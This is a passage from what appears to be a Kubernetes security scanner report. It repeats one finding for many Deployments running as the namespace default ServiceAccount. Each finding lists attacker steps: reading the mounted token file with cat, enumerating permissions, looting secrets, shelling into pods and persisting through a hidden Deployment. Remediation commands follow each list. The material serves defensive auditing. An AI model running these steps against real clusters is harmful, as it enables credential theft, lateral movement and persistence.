The default SA is harmless in a fresh namespace, but it is a magnet for permission accumulation: operators, Helm charts, and ClusterRoleBindings frequently bind permissions to it (often by mistake, via subjects: [{kind: ServiceAccount, name: default, namespace: foo}]), and the only way to know if the SA is dangerous is to enumerate every binding referencing it.

The Kubernetes RBAC Good Practices guide explicitly recommends per-workload ServiceAccounts so that the blast radius of an exposed token is bounded by a single workload's needs. An attacker with RCE in this pod reads the token, then runs kubectl auth can-i --list to find every accreted permission, often elevated by drift over the namespace's lifetime.

Impact Token theft yields whatever permissions the namespace default SA has been granted (often elevated by drift); enables lateral movement to other workloads in the namespace.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. RCE in the pod.
  2. Read the SA token: cat /var/run/secrets/kubernetes.io/serviceaccount/token.
  3. Enumerate permissions: kubectl --token=$TOKEN auth can-i --list.
  4. Exploit any usable verb. Common findings: secrets/get (loot all secrets), pods/exec (shell into other pods), pods/create with privileged template (escalate to node).
  5. Persist by creating a hidden Deployment with the same compromised SA.
Remediation
Create a dedicated ServiceAccount per workload with least-privilege RBAC; disable automount on the namespace default SA.
  1. Create a ServiceAccount: kubectl -n containersec-fixtures create sa containersec-image-sa. Grant only the verbs/resources the app actually needs via a Role + RoleBinding.
  2. Reference the new SA in the PodSpec via serviceAccountName: containersec-image-sa. If the app does NOT need to talk to the API at all, also set automountServiceAccountToken: false.
  3. Disable automount on the namespace default SA: kubectl patch sa default -n containersec-fixtures -p '{"automountServiceAccountToken": false}'.
  4. Validate: kubectl get pod -n containersec-fixtures -l <selector> -o jsonpath='{.items[*].spec.serviceAccountName}' returns the new SA, not default.
Evidence
ServiceAccountdefault
Show raw JSON
{
  "service_account": "default"
}
MEDIUM Deployment/containersec-fixtures/containersec-lifecycle Workload 5.4
Workload Deployment/containersec-fixtures/containersec-lifecycle runs as the namespace default ServiceAccount
Scope · Workload Workload Deployment/containersec-fixtures/containersec-lifecycle
Category: Privilege Escalation Resource: Deployment/containersec-fixtures/containersec-lifecycle Namespace: containersec-fixtures

Workload Deployment/containersec-fixtures/containersec-lifecycle does not specify serviceAccountName and therefore runs as the namespace's default ServiceAccount, which by default has its token auto-mounted at /var/run/secrets/kubernetes.io/serviceaccount/token.

The default SA is harmless in a fresh namespace, but it is a magnet for permission accumulation: operators, Helm charts, and ClusterRoleBindings frequently bind permissions to it (often by mistake, via subjects: [{kind: ServiceAccount, name: default, namespace: foo}]), and the only way to know if the SA is dangerous is to enumerate every binding referencing it.

The Kubernetes RBAC Good Practices guide explicitly recommends per-workload ServiceAccounts so that the blast radius of an exposed token is bounded by a single workload's needs. An attacker with RCE in this pod reads the token, then runs kubectl auth can-i --list to find every accreted permission, often elevated by drift over the namespace's lifetime.

Impact Token theft yields whatever permissions the namespace default SA has been granted (often elevated by drift); enables lateral movement to other workloads in the namespace.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. RCE in the pod.
  2. Read the SA token: cat /var/run/secrets/kubernetes.io/serviceaccount/token.
  3. Enumerate permissions: kubectl --token=$TOKEN auth can-i --list.
  4. Exploit any usable verb. Common findings: secrets/get (loot all secrets), pods/exec (shell into other pods), pods/create with privileged template (escalate to node).
  5. Persist by creating a hidden Deployment with the same compromised SA.
Remediation
Create a dedicated ServiceAccount per workload with least-privilege RBAC; disable automount on the namespace default SA.
  1. Create a ServiceAccount: kubectl -n containersec-fixtures create sa containersec-lifecycle-sa. Grant only the verbs/resources the app actually needs via a Role + RoleBinding.
  2. Reference the new SA in the PodSpec via serviceAccountName: containersec-lifecycle-sa. If the app does NOT need to talk to the API at all, also set automountServiceAccountToken: false.
  3. Disable automount on the namespace default SA: kubectl patch sa default -n containersec-fixtures -p '{"automountServiceAccountToken": false}'.
  4. Validate: kubectl get pod -n containersec-fixtures -l <selector> -o jsonpath='{.items[*].spec.serviceAccountName}' returns the new SA, not default.
Evidence
ServiceAccountdefault
Show raw JSON
{
  "service_account": "default"
}
MEDIUM Deployment/containersec-fixtures/containersec-limits Workload 5.4
Workload Deployment/containersec-fixtures/containersec-limits runs as the namespace default ServiceAccount
Scope · Workload Workload Deployment/containersec-fixtures/containersec-limits
Category: Privilege Escalation Resource: Deployment/containersec-fixtures/containersec-limits Namespace: containersec-fixtures

Workload Deployment/containersec-fixtures/containersec-limits does not specify serviceAccountName and therefore runs as the namespace's default ServiceAccount, which by default has its token auto-mounted at /var/run/secrets/kubernetes.io/serviceaccount/token.

The default SA is harmless in a fresh namespace, but it is a magnet for permission accumulation: operators, Helm charts, and ClusterRoleBindings frequently bind permissions to it (often by mistake, via subjects: [{kind: ServiceAccount, name: default, namespace: foo}]), and the only way to know if the SA is dangerous is to enumerate every binding referencing it.

The Kubernetes RBAC Good Practices guide explicitly recommends per-workload ServiceAccounts so that the blast radius of an exposed token is bounded by a single workload's needs. An attacker with RCE in this pod reads the token, then runs kubectl auth can-i --list to find every accreted permission, often elevated by drift over the namespace's lifetime.

Impact Token theft yields whatever permissions the namespace default SA has been granted (often elevated by drift); enables lateral movement to other workloads in the namespace.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. RCE in the pod.
  2. Read the SA token: cat /var/run/secrets/kubernetes.io/serviceaccount/token.
  3. Enumerate permissions: kubectl --token=$TOKEN auth can-i --list.
  4. Exploit any usable verb. Common findings: secrets/get (loot all secrets), pods/exec (shell into other pods), pods/create with privileged template (escalate to node).
  5. Persist by creating a hidden Deployment with the same compromised SA.
Remediation
Create a dedicated ServiceAccount per workload with least-privilege RBAC; disable automount on the namespace default SA.
  1. Create a ServiceAccount: kubectl -n containersec-fixtures create sa containersec-limits-sa. Grant only the verbs/resources the app actually needs via a Role + RoleBinding.
  2. Reference the new SA in the PodSpec via serviceAccountName: containersec-limits-sa. If the app does NOT need to talk to the API at all, also set automountServiceAccountToken: false.
  3. Disable automount on the namespace default SA: kubectl patch sa default -n containersec-fixtures -p '{"automountServiceAccountToken": false}'.
  4. Validate: kubectl get pod -n containersec-fixtures -l <selector> -o jsonpath='{.items[*].spec.serviceAccountName}' returns the new SA, not default.
Evidence
ServiceAccountdefault
Show raw JSON
{
  "service_account": "default"
}
MEDIUM Deployment/containersec-fixtures/containersec-probes Workload 5.4
Workload Deployment/containersec-fixtures/containersec-probes runs as the namespace default ServiceAccount
Scope · Workload Workload Deployment/containersec-fixtures/containersec-probes
Category: Privilege Escalation Resource: Deployment/containersec-fixtures/containersec-probes Namespace: containersec-fixtures

Workload Deployment/containersec-fixtures/containersec-probes does not specify serviceAccountName and therefore runs as the namespace's default ServiceAccount, which by default has its token auto-mounted at /var/run/secrets/kubernetes.io/serviceaccount/token.

The default SA is harmless in a fresh namespace, but it is a magnet for permission accumulation: operators, Helm charts, and ClusterRoleBindings frequently bind permissions to it (often by mistake, via subjects: [{kind: ServiceAccount, name: default, namespace: foo}]), and the only way to know if the SA is dangerous is to enumerate every binding referencing it.

The Kubernetes RBAC Good Practices guide explicitly recommends per-workload ServiceAccounts so that the blast radius of an exposed token is bounded by a single workload's needs. An attacker with RCE in this pod reads the token, then runs kubectl auth can-i --list to find every accreted permission, often elevated by drift over the namespace's lifetime.

Impact Token theft yields whatever permissions the namespace default SA has been granted (often elevated by drift); enables lateral movement to other workloads in the namespace.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. RCE in the pod.
  2. Read the SA token: cat /var/run/secrets/kubernetes.io/serviceaccount/token.
  3. Enumerate permissions: kubectl --token=$TOKEN auth can-i --list.
  4. Exploit any usable verb. Common findings: secrets/get (loot all secrets), pods/exec (shell into other pods), pods/create with privileged template (escalate to node).
  5. Persist by creating a hidden Deployment with the same compromised SA.
Remediation
Create a dedicated ServiceAccount per workload with least-privilege RBAC; disable automount on the namespace default SA.
  1. Create a ServiceAccount: kubectl -n containersec-fixtures create sa containersec-probes-sa. Grant only the verbs/resources the app actually needs via a Role + RoleBinding.
  2. Reference the new SA in the PodSpec via serviceAccountName: containersec-probes-sa. If the app does NOT need to talk to the API at all, also set automountServiceAccountToken: false.
  3. Disable automount on the namespace default SA: kubectl patch sa default -n containersec-fixtures -p '{"automountServiceAccountToken": false}'.
  4. Validate: kubectl get pod -n containersec-fixtures -l <selector> -o jsonpath='{.items[*].spec.serviceAccountName}' returns the new SA, not default.
Evidence
ServiceAccountdefault
Show raw JSON
{
  "service_account": "default"
}
MEDIUM Deployment/flat-network/api Workload 5.4
Workload Deployment/flat-network/api runs as the namespace default ServiceAccount
Scope · Workload Workload Deployment/flat-network/api
Category: Privilege Escalation Resource: Deployment/flat-network/api Namespace: flat-network

Workload Deployment/flat-network/api does not specify serviceAccountName and therefore runs as the namespace's default ServiceAccount, which by default has its token auto-mounted at /var/run/secrets/kubernetes.io/serviceaccount/token.

The default SA is harmless in a fresh namespace, but it is a magnet for permission accumulation: operators, Helm charts, and ClusterRoleBindings frequently bind permissions to it (often by mistake, via subjects: [{kind: ServiceAccount, name: default, namespace: foo}]), and the only way to know if the SA is dangerous is to enumerate every binding referencing it.

The Kubernetes RBAC Good Practices guide explicitly recommends per-workload ServiceAccounts so that the blast radius of an exposed token is bounded by a single workload's needs. An attacker with RCE in this pod reads the token, then runs kubectl auth can-i --list to find every accreted permission, often elevated by drift over the namespace's lifetime.

Impact Token theft yields whatever permissions the namespace default SA has been granted (often elevated by drift); enables lateral movement to other workloads in the namespace.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. RCE in the pod.
  2. Read the SA token: cat /var/run/secrets/kubernetes.io/serviceaccount/token.
  3. Enumerate permissions: kubectl --token=$TOKEN auth can-i --list.
  4. Exploit any usable verb. Common findings: secrets/get (loot all secrets), pods/exec (shell into other pods), pods/create with privileged template (escalate to node).
  5. Persist by creating a hidden Deployment with the same compromised SA.
Remediation
Create a dedicated ServiceAccount per workload with least-privilege RBAC; disable automount on the namespace default SA.
  1. Create a ServiceAccount: kubectl -n flat-network create sa api-sa. Grant only the verbs/resources the app actually needs via a Role + RoleBinding.
  2. Reference the new SA in the PodSpec via serviceAccountName: api-sa. If the app does NOT need to talk to the API at all, also set automountServiceAccountToken: false.
  3. Disable automount on the namespace default SA: kubectl patch sa default -n flat-network -p '{"automountServiceAccountToken": false}'.
  4. Validate: kubectl get pod -n flat-network -l <selector> -o jsonpath='{.items[*].spec.serviceAccountName}' returns the new SA, not default.
Evidence
ServiceAccountdefault
Show raw JSON
{
  "service_account": "default"
}
MEDIUM Deployment/flat-network/unmatched Workload 5.4
Workload Deployment/flat-network/unmatched runs as the namespace default ServiceAccount
Scope · Workload Workload Deployment/flat-network/unmatched
Category: Privilege Escalation Resource: Deployment/flat-network/unmatched Namespace: flat-network

Workload Deployment/flat-network/unmatched does not specify serviceAccountName and therefore runs as the namespace's default ServiceAccount, which by default has its token auto-mounted at /var/run/secrets/kubernetes.io/serviceaccount/token.

The default SA is harmless in a fresh namespace, but it is a magnet for permission accumulation: operators, Helm charts, and ClusterRoleBindings frequently bind permissions to it (often by mistake, via subjects: [{kind: ServiceAccount, name: default, namespace: foo}]), and the only way to know if the SA is dangerous is to enumerate every binding referencing it.

The Kubernetes RBAC Good Practices guide explicitly recommends per-workload ServiceAccounts so that the blast radius of an exposed token is bounded by a single workload's needs. An attacker with RCE in this pod reads the token, then runs kubectl auth can-i --list to find every accreted permission, often elevated by drift over the namespace's lifetime.

Impact Token theft yields whatever permissions the namespace default SA has been granted (often elevated by drift); enables lateral movement to other workloads in the namespace.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. RCE in the pod.
  2. Read the SA token: cat /var/run/secrets/kubernetes.io/serviceaccount/token.
  3. Enumerate permissions: kubectl --token=$TOKEN auth can-i --list.
  4. Exploit any usable verb. Common findings: secrets/get (loot all secrets), pods/exec (shell into other pods), pods/create with privileged template (escalate to node).
  5. Persist by creating a hidden Deployment with the same compromised SA.
Remediation
Create a dedicated ServiceAccount per workload with least-privilege RBAC; disable automount on the namespace default SA.
  1. Create a ServiceAccount: kubectl -n flat-network create sa unmatched-sa. Grant only the verbs/resources the app actually needs via a Role + RoleBinding.
  2. Reference the new SA in the PodSpec via serviceAccountName: unmatched-sa. If the app does NOT need to talk to the API at all, also set automountServiceAccountToken: false.
  3. Disable automount on the namespace default SA: kubectl patch sa default -n flat-network -p '{"automountServiceAccountToken": false}'.
  4. Validate: kubectl get pod -n flat-network -l <selector> -o jsonpath='{.items[*].spec.serviceAccountName}' returns the new SA, not default.
Evidence
ServiceAccountdefault
Show raw JSON
{
  "service_account": "default"
}
MEDIUM Deployment/hookbackend-fixtures/hookbackend-injector Workload 5.4
Workload Deployment/hookbackend-fixtures/hookbackend-injector runs as the namespace default ServiceAccount
Scope · Workload Workload Deployment/hookbackend-fixtures/hookbackend-injector
Category: Privilege Escalation Resource: Deployment/hookbackend-fixtures/hookbackend-injector Namespace: hookbackend-fixtures

Workload Deployment/hookbackend-fixtures/hookbackend-injector does not specify serviceAccountName and therefore runs as the namespace's default ServiceAccount, which by default has its token auto-mounted at /var/run/secrets/kubernetes.io/serviceaccount/token.

The default SA is harmless in a fresh namespace, but it is a magnet for permission accumulation: operators, Helm charts, and ClusterRoleBindings frequently bind permissions to it (often by mistake, via subjects: [{kind: ServiceAccount, name: default, namespace: foo}]), and the only way to know if the SA is dangerous is to enumerate every binding referencing it.

The Kubernetes RBAC Good Practices guide explicitly recommends per-workload ServiceAccounts so that the blast radius of an exposed token is bounded by a single workload's needs. An attacker with RCE in this pod reads the token, then runs kubectl auth can-i --list to find every accreted permission, often elevated by drift over the namespace's lifetime.

Impact Token theft yields whatever permissions the namespace default SA has been granted (often elevated by drift); enables lateral movement to other workloads in the namespace.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. RCE in the pod.
  2. Read the SA token: cat /var/run/secrets/kubernetes.io/serviceaccount/token.
  3. Enumerate permissions: kubectl --token=$TOKEN auth can-i --list.
  4. Exploit any usable verb. Common findings: secrets/get (loot all secrets), pods/exec (shell into other pods), pods/create with privileged template (escalate to node).
  5. Persist by creating a hidden Deployment with the same compromised SA.
Remediation
Create a dedicated ServiceAccount per workload with least-privilege RBAC; disable automount on the namespace default SA.
  1. Create a ServiceAccount: kubectl -n hookbackend-fixtures create sa hookbackend-injector-sa. Grant only the verbs/resources the app actually needs via a Role + RoleBinding.
  2. Reference the new SA in the PodSpec via serviceAccountName: hookbackend-injector-sa. If the app does NOT need to talk to the API at all, also set automountServiceAccountToken: false.
  3. Disable automount on the namespace default SA: kubectl patch sa default -n hookbackend-fixtures -p '{"automountServiceAccountToken": false}'.
  4. Validate: kubectl get pod -n hookbackend-fixtures -l <selector> -o jsonpath='{.items[*].spec.serviceAccountName}' returns the new SA, not default.
Evidence
ServiceAccountdefault
Show raw JSON
{
  "service_account": "default"
}
MEDIUM Deployment/ingress-only/ingress-app Workload 5.4
Workload Deployment/ingress-only/ingress-app runs as the namespace default ServiceAccount
Scope · Workload Workload Deployment/ingress-only/ingress-app
Category: Privilege Escalation Resource: Deployment/ingress-only/ingress-app Namespace: ingress-only

Workload Deployment/ingress-only/ingress-app does not specify serviceAccountName and therefore runs as the namespace's default ServiceAccount, which by default has its token auto-mounted at /var/run/secrets/kubernetes.io/serviceaccount/token.

The default SA is harmless in a fresh namespace, but it is a magnet for permission accumulation: operators, Helm charts, and ClusterRoleBindings frequently bind permissions to it (often by mistake, via subjects: [{kind: ServiceAccount, name: default, namespace: foo}]), and the only way to know if the SA is dangerous is to enumerate every binding referencing it.

The Kubernetes RBAC Good Practices guide explicitly recommends per-workload ServiceAccounts so that the blast radius of an exposed token is bounded by a single workload's needs. An attacker with RCE in this pod reads the token, then runs kubectl auth can-i --list to find every accreted permission, often elevated by drift over the namespace's lifetime.

Impact Token theft yields whatever permissions the namespace default SA has been granted (often elevated by drift); enables lateral movement to other workloads in the namespace.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. RCE in the pod.
  2. Read the SA token: cat /var/run/secrets/kubernetes.io/serviceaccount/token.
  3. Enumerate permissions: kubectl --token=$TOKEN auth can-i --list.
  4. Exploit any usable verb. Common findings: secrets/get (loot all secrets), pods/exec (shell into other pods), pods/create with privileged template (escalate to node).
  5. Persist by creating a hidden Deployment with the same compromised SA.
Remediation
Create a dedicated ServiceAccount per workload with least-privilege RBAC; disable automount on the namespace default SA.
  1. Create a ServiceAccount: kubectl -n ingress-only create sa ingress-app-sa. Grant only the verbs/resources the app actually needs via a Role + RoleBinding.
  2. Reference the new SA in the PodSpec via serviceAccountName: ingress-app-sa. If the app does NOT need to talk to the API at all, also set automountServiceAccountToken: false.
  3. Disable automount on the namespace default SA: kubectl patch sa default -n ingress-only -p '{"automountServiceAccountToken": false}'.
  4. Validate: kubectl get pod -n ingress-only -l <selector> -o jsonpath='{.items[*].spec.serviceAccountName}' returns the new SA, not default.
Evidence
ServiceAccountdefault
Show raw JSON
{
  "service_account": "default"
}
MEDIUM Deployment/netpol-imds/imds-allow-app Workload 5.4
Workload Deployment/netpol-imds/imds-allow-app runs as the namespace default ServiceAccount
Scope · Workload Workload Deployment/netpol-imds/imds-allow-app
Category: Privilege Escalation Resource: Deployment/netpol-imds/imds-allow-app Namespace: netpol-imds

Workload Deployment/netpol-imds/imds-allow-app does not specify serviceAccountName and therefore runs as the namespace's default ServiceAccount, which by default has its token auto-mounted at /var/run/secrets/kubernetes.io/serviceaccount/token.

The default SA is harmless in a fresh namespace, but it is a magnet for permission accumulation: operators, Helm charts, and ClusterRoleBindings frequently bind permissions to it (often by mistake, via subjects: [{kind: ServiceAccount, name: default, namespace: foo}]), and the only way to know if the SA is dangerous is to enumerate every binding referencing it.

The Kubernetes RBAC Good Practices guide explicitly recommends per-workload ServiceAccounts so that the blast radius of an exposed token is bounded by a single workload's needs. An attacker with RCE in this pod reads the token, then runs kubectl auth can-i --list to find every accreted permission, often elevated by drift over the namespace's lifetime.

Impact Token theft yields whatever permissions the namespace default SA has been granted (often elevated by drift); enables lateral movement to other workloads in the namespace.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. RCE in the pod.
  2. Read the SA token: cat /var/run/secrets/kubernetes.io/serviceaccount/token.
  3. Enumerate permissions: kubectl --token=$TOKEN auth can-i --list.
  4. Exploit any usable verb. Common findings: secrets/get (loot all secrets), pods/exec (shell into other pods), pods/create with privileged template (escalate to node).
  5. Persist by creating a hidden Deployment with the same compromised SA.
Remediation
Create a dedicated ServiceAccount per workload with least-privilege RBAC; disable automount on the namespace default SA.
  1. Create a ServiceAccount: kubectl -n netpol-imds create sa imds-allow-app-sa. Grant only the verbs/resources the app actually needs via a Role + RoleBinding.
  2. Reference the new SA in the PodSpec via serviceAccountName: imds-allow-app-sa. If the app does NOT need to talk to the API at all, also set automountServiceAccountToken: false.
  3. Disable automount on the namespace default SA: kubectl patch sa default -n netpol-imds -p '{"automountServiceAccountToken": false}'.
  4. Validate: kubectl get pod -n netpol-imds -l <selector> -o jsonpath='{.items[*].spec.serviceAccountName}' returns the new SA, not default.
Evidence
ServiceAccountdefault
Show raw JSON
{
  "service_account": "default"
}
MEDIUM Deployment/netpol-imds/imds-open-app Workload 5.4
Workload Deployment/netpol-imds/imds-open-app runs as the namespace default ServiceAccount
Scope · Workload Workload Deployment/netpol-imds/imds-open-app
Category: Privilege Escalation Resource: Deployment/netpol-imds/imds-open-app Namespace: netpol-imds

Workload Deployment/netpol-imds/imds-open-app does not specify serviceAccountName and therefore runs as the namespace's default ServiceAccount, which by default has its token auto-mounted at /var/run/secrets/kubernetes.io/serviceaccount/token.

The default SA is harmless in a fresh namespace, but it is a magnet for permission accumulation: operators, Helm charts, and ClusterRoleBindings frequently bind permissions to it (often by mistake, via subjects: [{kind: ServiceAccount, name: default, namespace: foo}]), and the only way to know if the SA is dangerous is to enumerate every binding referencing it.

The Kubernetes RBAC Good Practices guide explicitly recommends per-workload ServiceAccounts so that the blast radius of an exposed token is bounded by a single workload's needs. An attacker with RCE in this pod reads the token, then runs kubectl auth can-i --list to find every accreted permission, often elevated by drift over the namespace's lifetime.

Impact Token theft yields whatever permissions the namespace default SA has been granted (often elevated by drift); enables lateral movement to other workloads in the namespace.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. RCE in the pod.
  2. Read the SA token: cat /var/run/secrets/kubernetes.io/serviceaccount/token.
  3. Enumerate permissions: kubectl --token=$TOKEN auth can-i --list.
  4. Exploit any usable verb. Common findings: secrets/get (loot all secrets), pods/exec (shell into other pods), pods/create with privileged template (escalate to node).
  5. Persist by creating a hidden Deployment with the same compromised SA.
Remediation
Create a dedicated ServiceAccount per workload with least-privilege RBAC; disable automount on the namespace default SA.
  1. Create a ServiceAccount: kubectl -n netpol-imds create sa imds-open-app-sa. Grant only the verbs/resources the app actually needs via a Role + RoleBinding.
  2. Reference the new SA in the PodSpec via serviceAccountName: imds-open-app-sa. If the app does NOT need to talk to the API at all, also set automountServiceAccountToken: false.
  3. Disable automount on the namespace default SA: kubectl patch sa default -n netpol-imds -p '{"automountServiceAccountToken": false}'.
  4. Validate: kubectl get pod -n netpol-imds -l <selector> -o jsonpath='{.items[*].spec.serviceAccountName}' returns the new SA, not default.
Evidence
ServiceAccountdefault
Show raw JSON
{
  "service_account": "default"
}
MEDIUM Deployment/psa-suppressed/psa-priv-app Workload 5.4
Workload Deployment/psa-suppressed/psa-priv-app runs as the namespace default ServiceAccount
Scope · Workload Workload Deployment/psa-suppressed/psa-priv-app
Category: Privilege Escalation Resource: Deployment/psa-suppressed/psa-priv-app Namespace: psa-suppressed

Workload Deployment/psa-suppressed/psa-priv-app does not specify serviceAccountName and therefore runs as the namespace's default ServiceAccount, which by default has its token auto-mounted at /var/run/secrets/kubernetes.io/serviceaccount/token.

The default SA is harmless in a fresh namespace, but it is a magnet for permission accumulation: operators, Helm charts, and ClusterRoleBindings frequently bind permissions to it (often by mistake, via subjects: [{kind: ServiceAccount, name: default, namespace: foo}]), and the only way to know if the SA is dangerous is to enumerate every binding referencing it.

The Kubernetes RBAC Good Practices guide explicitly recommends per-workload ServiceAccounts so that the blast radius of an exposed token is bounded by a single workload's needs. An attacker with RCE in this pod reads the token, then runs kubectl auth can-i --list to find every accreted permission, often elevated by drift over the namespace's lifetime.

Impact Token theft yields whatever permissions the namespace default SA has been granted (often elevated by drift); enables lateral movement to other workloads in the namespace.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. RCE in the pod.
  2. Read the SA token: cat /var/run/secrets/kubernetes.io/serviceaccount/token.
  3. Enumerate permissions: kubectl --token=$TOKEN auth can-i --list.
  4. Exploit any usable verb. Common findings: secrets/get (loot all secrets), pods/exec (shell into other pods), pods/create with privileged template (escalate to node).
  5. Persist by creating a hidden Deployment with the same compromised SA.
Remediation
Create a dedicated ServiceAccount per workload with least-privilege RBAC; disable automount on the namespace default SA.
  1. Create a ServiceAccount: kubectl -n psa-suppressed create sa psa-priv-app-sa. Grant only the verbs/resources the app actually needs via a Role + RoleBinding.
  2. Reference the new SA in the PodSpec via serviceAccountName: psa-priv-app-sa. If the app does NOT need to talk to the API at all, also set automountServiceAccountToken: false.
  3. Disable automount on the namespace default SA: kubectl patch sa default -n psa-suppressed -p '{"automountServiceAccountToken": false}'.
  4. Validate: kubectl get pod -n psa-suppressed -l <selector> -o jsonpath='{.items[*].spec.serviceAccountName}' returns the new SA, not default.
Evidence
ServiceAccountdefault
Show raw JSON
{
  "service_account": "default"
}
MEDIUM Deployment/statusspoof-fixtures/statusspoof-api Workload 5.4
Workload Deployment/statusspoof-fixtures/statusspoof-api runs as the namespace default ServiceAccount
Scope · Workload Workload Deployment/statusspoof-fixtures/statusspoof-api
Category: Privilege Escalation Resource: Deployment/statusspoof-fixtures/statusspoof-api Namespace: statusspoof-fixtures

Workload Deployment/statusspoof-fixtures/statusspoof-api does not specify serviceAccountName and therefore runs as the namespace's default ServiceAccount, which by default has its token auto-mounted at /var/run/secrets/kubernetes.io/serviceaccount/token.

The default SA is harmless in a fresh namespace, but it is a magnet for permission accumulation: operators, Helm charts, and ClusterRoleBindings frequently bind permissions to it (often by mistake, via subjects: [{kind: ServiceAccount, name: default, namespace: foo}]), and the only way to know if the SA is dangerous is to enumerate every binding referencing it.

The Kubernetes RBAC Good Practices guide explicitly recommends per-workload ServiceAccounts so that the blast radius of an exposed token is bounded by a single workload's needs. An attacker with RCE in this pod reads the token, then runs kubectl auth can-i --list to find every accreted permission, often elevated by drift over the namespace's lifetime.

Impact Token theft yields whatever permissions the namespace default SA has been granted (often elevated by drift); enables lateral movement to other workloads in the namespace.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. RCE in the pod.
  2. Read the SA token: cat /var/run/secrets/kubernetes.io/serviceaccount/token.
  3. Enumerate permissions: kubectl --token=$TOKEN auth can-i --list.
  4. Exploit any usable verb. Common findings: secrets/get (loot all secrets), pods/exec (shell into other pods), pods/create with privileged template (escalate to node).
  5. Persist by creating a hidden Deployment with the same compromised SA.
Remediation
Create a dedicated ServiceAccount per workload with least-privilege RBAC; disable automount on the namespace default SA.
  1. Create a ServiceAccount: kubectl -n statusspoof-fixtures create sa statusspoof-api-sa. Grant only the verbs/resources the app actually needs via a Role + RoleBinding.
  2. Reference the new SA in the PodSpec via serviceAccountName: statusspoof-api-sa. If the app does NOT need to talk to the API at all, also set automountServiceAccountToken: false.
  3. Disable automount on the namespace default SA: kubectl patch sa default -n statusspoof-fixtures -p '{"automountServiceAccountToken": false}'.
  4. Validate: kubectl get pod -n statusspoof-fixtures -l <selector> -o jsonpath='{.items[*].spec.serviceAccountName}' returns the new SA, not default.
Evidence
ServiceAccountdefault
Show raw JSON
{
  "service_account": "default"
}
MEDIUM Deployment/vulnerable/generic-hostpath-app Workload 5.4
Workload Deployment/vulnerable/generic-hostpath-app runs as the namespace default ServiceAccount
Scope · Workload Workload Deployment/vulnerable/generic-hostpath-app
Category: Privilege Escalation Resource: Deployment/vulnerable/generic-hostpath-app Namespace: vulnerable

Workload Deployment/vulnerable/generic-hostpath-app does not specify serviceAccountName and therefore runs as the namespace's default ServiceAccount, which by default has its token auto-mounted at /var/run/secrets/kubernetes.io/serviceaccount/token.

The default SA is harmless in a fresh namespace, but it is a magnet for permission accumulation: operators, Helm charts, and ClusterRoleBindings frequently bind permissions to it (often by mistake, via subjects: [{kind: ServiceAccount, name: default, namespace: foo}]), and the only way to know if the SA is dangerous is to enumerate every binding referencing it.

The Kubernetes RBAC Good Practices guide explicitly recommends per-workload ServiceAccounts so that the blast radius of an exposed token is bounded by a single workload's needs. An attacker with RCE in this pod reads the token, then runs kubectl auth can-i --list to find every accreted permission, often elevated by drift over the namespace's lifetime.

Impact Token theft yields whatever permissions the namespace default SA has been granted (often elevated by drift); enables lateral movement to other workloads in the namespace.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. RCE in the pod.
  2. Read the SA token: cat /var/run/secrets/kubernetes.io/serviceaccount/token.
  3. Enumerate permissions: kubectl --token=$TOKEN auth can-i --list.
  4. Exploit any usable verb. Common findings: secrets/get (loot all secrets), pods/exec (shell into other pods), pods/create with privileged template (escalate to node).
  5. Persist by creating a hidden Deployment with the same compromised SA.
Remediation
Create a dedicated ServiceAccount per workload with least-privilege RBAC; disable automount on the namespace default SA.
  1. Create a ServiceAccount: kubectl -n vulnerable create sa generic-hostpath-app-sa. Grant only the verbs/resources the app actually needs via a Role + RoleBinding.
